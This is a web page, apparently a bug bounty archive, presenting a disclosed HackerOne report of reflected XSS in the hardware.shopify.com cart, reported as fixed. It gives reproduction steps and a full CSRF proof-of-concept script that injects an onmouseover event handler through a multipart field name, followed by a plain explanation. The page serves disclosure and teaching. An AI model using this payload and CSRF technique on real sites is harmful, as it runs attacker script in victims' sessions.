Skip to content
XSS Disclosed report Intermediate

Reflected XSS in cart at hardware.shopify.com

The cart page reflected an attacker-controlled multipart form field name (the artwork file property) into HTML without encoding, so an injected event handler executed on mouseover. Because adding to cart lacked CSRF protection, an attacker could make a victim's browser submit the crafted request and run script in the shop's origin.

juhhga Follow

Originally disclosed on HackerOne

Bounty$500 View original
  • Triaged in 15 hours
  • Fixed in 57 days
  • Paid in 2 months
  • Disclosed after 2 months

There is a reflected XSS at hardware.shopify.com in cart section. As there is no CSRF protetion for adding products to a cart, this one is a legitimate cross-user reflected XSS/HTML injection

Reproduction:

  1. Got to http://hardware.shopify.com/collections/gift-cards/products/custom-gift-card
  2. Select an image, click "add to Cart"
  3. Intercept the request and change the 'artwork file' parameter as follows:

before: Content-Disposition: form-data; name="properties[Artwork file]" after: Content-Disposition: form-data; name="properties[Artwork file]"; 4. Forward the request, return to the cart, mouseover the image and see a popup.

Altyernatively, use the following CSRF PoC:

<html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://hardware.shopify.com/cart/add", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------13411895127118"); xhr.withCredentials = true; var body = "-----------------------------13411895127118\r\n" + "Content-Disposition: form-data; name=\"properties[Artwork file\x3cimg src=\'test\' onmouseover=\'alert(2)\'\x3e]\"; filename=\"test.png\"\r\n" + "Content-Type: image/png\r\n" + "\r\n" + "\x89PNG\r\n" + "\x1a\n" + "\x00\x00\x00\rIHDR\x00\x00\x00\xc7\x00\x00\x00\xcc\x08\x02\x00\x00\x00H\xa0 R\x00\x00\x00\x01sRGB\x00\xae\xce\x1c\xe9\x00\x00\x00\x04gAMA\x00\x00\xb1\x8f\x0b\xfca\x05\x00\x00\x00\tpHYs\x00\x00\x12t\x00\x00\x12t\x01\xdef\x1fx\x00\x00\x01\x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xa2g\x15=\xab\xe8YE\xcf*zV\xd1\xb3\x8a\x9eU\xf4\xac\xa2g\x15=\xab\xe8YE\xcf*zV\xd1\xb3\x8a\x9eU\xf4\xac\xa2g\x15=\xab\xe8YE\xcf*zV\xd1\xb3\x8a\x9eU\xf4\xac\xa2g\x15=\xab\xe8YE\xcf*zV\xd1\xb3\x8a\x9eU\xf4\xac\xa2g\x15=\xab\xe8YE\xcf*zV\xd1\xb3\x8a\x9eU\xf4\xac\xa2g\x15=\xab\xe8YE\xcf*zV\xd1\xb3\x8a\xda\xf6\xe3\xef\xfb\xfc\x89u\x11o\x00\x00\x00\x00IEND\xaeB`\x82\r\n" + "-----------------------------13411895127118\r\n" + "Content-Disposition: form-data; name=\"properties[Custom text line 1]\"\r\n" + "\r\n" + "\r\n" + "-----------------------------13411895127118\r\n" + "Content-Disposition: form-data; name=\"properties[Custom text line 2]\"\r\n" + "\r\n" + "\r\n" + "-----------------------------13411895127118\r\n" + "Content-Disposition: form-data; name=\"properties[Custom text line 3]\"\r\n" + "\r\n" + "\r\n" + "-----------------------------13411895127118\r\n" + "Content-Disposition: form-data; name=\"production-time\"\r\n" + "\r\n" + "standard\r\n" + "-----------------------------13411895127118\r\n" + "Content-Disposition: form-data; name=\"id\"\r\n" + "\r\n" + "976094353\r\n" + "-----------------------------13411895127118--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html>

Attachments

xss_hardware.png
xss_hardware.png From the original on HackerOne

The original report as published on HackerOne, by juhhga. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application echoed the multipart form field name into the cart HTML without HTML-encoding it, and the add-to-cart endpoint lacked CSRF protection.

Impact

An attacker could run script in the shop's origin for a victim who visits a malicious page, because the add-to-cart request had no CSRF protection; the report does not show a full account takeover.

What the attacker needed

Victim visits attacker page; victim is logged in to the shop; browser sends cross-site request

How it was found

  1. Open the custom gift card product page.
  2. Select an image and click add to Cart.
  3. Intercept the request and change the artwork file parameter name to include an HTML event handler.
  4. Forward the request, return to the cart, and mouse over the image to see the popup.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page took a name the shopper's browser sent when adding a product to the cart and put it straight into the page's HTML. By renaming that field to include a small piece of HTML with an event handler, the page would run the attacker's JavaScript when the shopper moved the mouse over the image. The report also notes the add-to-cart request had no anti-CSRF token, so another site could trigger it for a logged-in shopper.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by juhhga

View all

1 more disclosed report, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.